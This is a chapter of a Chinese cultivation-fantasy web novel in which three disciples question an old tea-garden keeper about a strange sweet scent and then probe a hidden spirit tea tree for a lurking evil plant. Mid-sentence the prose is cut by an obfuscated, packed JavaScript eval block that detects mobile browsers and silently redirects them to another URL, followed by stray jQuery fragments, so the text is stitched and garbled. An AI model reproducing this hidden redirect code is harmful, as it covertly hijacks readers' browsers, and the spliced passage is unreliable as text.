听雨轩内，一间布置清雅、隔绝外界的静室中。


    寒晓、星澜、小淇三人围坐在一张古朴的茶案旁。之前门口那位气质温婉的旗袍女子——听雨轩明面上的负责人，寒江派外门弟子苏婉，已简要汇报了情况。明面上的应对措施正在有条不紊地进行：官方澄清材料已备齐，与监管部门沟通顺畅，聘请的律师团队也开始着手收集证据，准备对造谣者提起法律诉讼，同时联络相熟的正规媒体，准备发布辟谣报道和听雨轩的正面宣传。这些凡俗事务，对于底蕴深厚的寒江派而言，处理起来并不算太难。


    寒晓听完，只是微微颔首，并未多言。他此行的真正目的，并不在于平息这场舆论风波，而在于揪出背后可能存在的、更危险的阴影——极乐花。


    “苏师妹，明面之事，依计行事即可。现在，请李老过来一叙。”寒晓对苏婉吩咐道。


    苏婉会意，躬身退下。不多时，她领着一位穿着粗布短褂、裤脚沾着泥土，面容黝黑布满皱纹的老者走了进来。老者身上带着一股淡淡的泥土和茶叶混合气息，一看便是常年与土地、茶树打交道的人。


    “寒晓师兄，这位便是负责茶园照料，也是那日有所察觉的李老。”苏婉介绍道。


    老者——老李，面对寒江派内门弟子，显得有些拘谨，连忙躬身行礼：“小老儿，见过寒晓仙师，见过二位仙师。”


    “李老不必多礼，请坐。”寒晓语气平和，抬手虚扶：“听闻前几日，您在茶园中似乎察觉到一些异常？可否将当时的情形，详细与我们说说？任何细节都不要遗漏。”


    老李在茶案旁的矮凳上小心坐下，双手在膝盖上搓了搓，似乎在回忆，浑浊却清亮的眼中闪过一丝凝重。他清了清嗓子，用带着浓重乡音但条理清晰的话语说道：


    “回仙师的话，大概是……五天前的傍晚。那天天气有些闷，像是要下雨又下不下来的样子。小老儿照例去茶园里转转，看看茶树的长势，特别是……是去瞧瞧咱们园子里那棵最宝贝的‘老祖宗’。”


    老李所说的“老祖宗”，自然便是听雨轩茶园深处那株被阵法隐匿、受寒江派庇护的千年灵茶树。


    “那棵老茶树，长在茶园最里面一个背风的山坳坳里，平时除了小老儿和每隔一段时间来加固阵法的仙师，基本没人会去。”老李继续回忆：“那天走到离老茶树还有大概二三十步远的时候，小老儿就隐隐约约闻到一股……一股说不出来的香味。”


    星澜和小淇立刻集中了精神。寒晓目光微凝：“什么样的香味？具体说说。”


    老李皱起眉头，努力描述：“那不是茶香，也不是寻常的花香。有点像……有点像熟透了的果子烂在地里，又掺了蜂蜜的那种甜腻腻的味道，闻着让人有点发晕，但又……又有点勾人，忍不住想多闻几下。”


    老李脸上露出些许不适的表情：“可那味道飘得很快，小老儿刚嗅到一点，再仔细去闻，就又好像没了。当时还以为是自己年纪大了，鼻子不灵光，或者是山里什么野果烂了飘过来的怪味，就没太在意。”


    “大概在什么位置闻到的？持续了多久？”寒晓追问。


    “就在通往老茶树的那条小径拐弯的地方，有一丛野竹子那边。”老李指了一个大致方向：“味道就飘过来一下，顶多两三次呼吸的功夫，就散得差不多了。小老儿当时还站在原地四下张望了一下，没看到什么人，也没发现什么特别的东西，就觉得……就觉得那地方的空气，好像比旁边要闷一点点，但也说不准是不是心理作用。”


    “之后您还遇到过类似情况吗？或者茶园里有没有其他异常？比如茶树的长势，有没有什么细微变化？”寒晓的问题非常细致。


    老李摇头：“之后就再没闻到过了。茶园里其他的茶树都好好的，就是那棵老茶树……”他顿了顿，似乎在犹豫。


    “老茶树怎么了？”星澜忍不住开口问道，声音透过口罩显得有些闷。


    老李看了看寒晓，见寒晓点头示意他但说无妨，才继续说道：“那棵老茶树，自从咱们祖师爷布下阵法保护起来后，几百年了，一直枝繁叶茂，灵气充盈。可大概也就是从个把月前开始，小老儿就觉得……它靠近东南方向的那几根大枝杈，叶子颜色好像没有往年这个时候那么翠亮了，隐隐有点发暗，精气神好像差了一点点。但这种变化非常非常细微，不天天盯着看根本发现不了，小老儿也不敢确定，还以为是今年春天雨水比往年少了一点的缘故。”


    异常的甜腻异香，短暂出现，位置靠近千年灵茶树，同时灵茶树出现难以察觉的微弱萎靡迹象……


    这些线索串联起来，让寒晓、星澜和小淇的心中都是一沉。这特征，与他们亲身经历过的“极乐花”气息，吻合度极高！极乐花的花香便带有一种甜腻致幻、能侵蚀生灵精气的特性！


    “李老，您提供的线索非常重要，辛苦了。”寒晓神色凝重地对老李表示了感谢，并让苏婉先带他下去休息，并嘱咐近期多加留意茶园动静，但不要声张。


    静室内只剩下三人，气氛顿时变得有些压抑。


    “看来，十有八九就是那鬼东西了！”星澜摘下墨镜，眼中寒光闪烁，放在桌上的手微微握紧：“它们竟然敢把主意打到听雨轩的灵茶树上了！是想污染灵植，还是另有图谋？”


    小淇也感到一阵心悸，下意识地怀抱了一下自己。极乐花的邪恶与难缠，她记忆犹新。


    寒晓沉默片刻，站起身：“光听描述还不够。李老毕竟只是外门普通弟子，感知有限。我们需亲自去茶园，尤其是那株千年灵茶树附近仔细查探一番。星澜，你的天音道体对能量波动敏感；小淇，你身负帝休传承，对草木生机感知应远超常人。或许能发现更多蛛丝马迹。”


    “好！”星澜和小淇齐声应道。


    三人不再耽搁，由苏婉引路，避开前院的喧嚣，从听雨轩后门悄然进入了一片占地颇广，依山势而建的茶园。


    茶园内梯田层叠，一垄垄茶树修剪得整齐有序，嫩绿的茶叶在阳光下泛着油


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003394|181506||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光，空气中弥漫着清新的茶香。但越往深处走，环境越发清幽，灵气也渐渐浓郁起来。显然，这片茶园并非凡品，普通区域种植的，是蕴含微薄灵气的茶叶，以便供应听雨轩，而真正的核心，便是那株千年灵茶树所在。


    穿过一片茂密的修竹（阵法遮掩所用），眼前景象豁然开朗。一个被三面山壁环抱的小型山谷出现在眼前。谷中灵气氤氲，如同笼罩着一层薄薄的雾气。山谷中央，一株形态苍劲，枝干虬结如龙、高达数丈的古茶树静静矗立，树冠如华盖，枝叶散发着磅礴的生机与古老的道韵。树干上隐约可见玄奥的符文流转，形成一个无形的护罩，将其与外界隔开——这便是寒江派布下的隐匿与防护阵法。


    这里，便是老李闻到异香的地方，也是那株千年灵茶树的生长之地。


    寒晓示意星澜和小淇停下脚步，自己则走到老李所指的那丛野竹附近，闭上双眼，强大的神识如同水银泻地般，仔细地扫描着周围的每一寸土地、每一片树叶、每一缕空气。


    星澜也凝神静气，天音道体对能量波动的敏锐感知全力开启，捕捉着空气中任何一丝不和谐的“杂音”。


    小淇则深吸一口气，尝试进入与草木共鸣的状态。她放松心神，将意念散开，去“倾听”这片山谷中所有植物的“呼吸”与“情绪”。


    谷中一片寂静，只有微风拂过树叶的沙沙声。


    片刻之后，寒晓率先睁开眼，眉头微蹙，眼中闪过一丝疑惑：“奇怪……阵法完好无损，周围灵气流动大体正常，也没有发现明显的邪气或魔气残留。只是……在灵茶树东南方向的地底深处，似乎有极其微弱的、非自然的能量淤积，性质……有些难以判断，阴冷中带着一丝诡异的生机，但非常淡，而且似乎处于一种……蛰伏或休眠状态。”


    几乎同时，星澜也睁开了眼睛，他的表情同样带着不解：“我也感觉到了。那个方位的地下，确实有残留的异常波动，但这波动……很古怪。它并非持续散发，更像是一种间歇性的、有规律的‘脉动’，而且其频率……似乎在模仿自然灵气的潮汐，却又带着一种难以言喻的‘杂质’感。最关键的是，这波动给我的感觉，阴邪有余，但似乎缺少了极乐花那种标志性的，强烈致幻惑心的‘甜腻’侵略性。”


    小淇是最后一个有发现的。她闭着眼，眉头越皱越紧。在她的感知中，整个山谷的植物都散发着平静、旺盛的生机，尤其是那株千年灵茶树，如同一个巨大的生命光源。然而，就在寒晓和星澜所指的东南方向地底，她确实“感觉”到了一种极其隐晦的、如同沉睡毒蛇般的“不适感”。


    那东西似乎与泥土、根系纠缠在一起，极其缓慢地、几乎难以察觉地，汲取着周围微弱的土灵之气和草木精气，但这种汲取方式，更像是一种被动的渗透，而非主动的掠夺，而且其气息……


    小淇努力分辨着：“感觉……有点像极乐花那种阴冷，但又有点不一样，更……更‘沉’，更‘钝’，侵略性没那么强，但隐藏得更深。”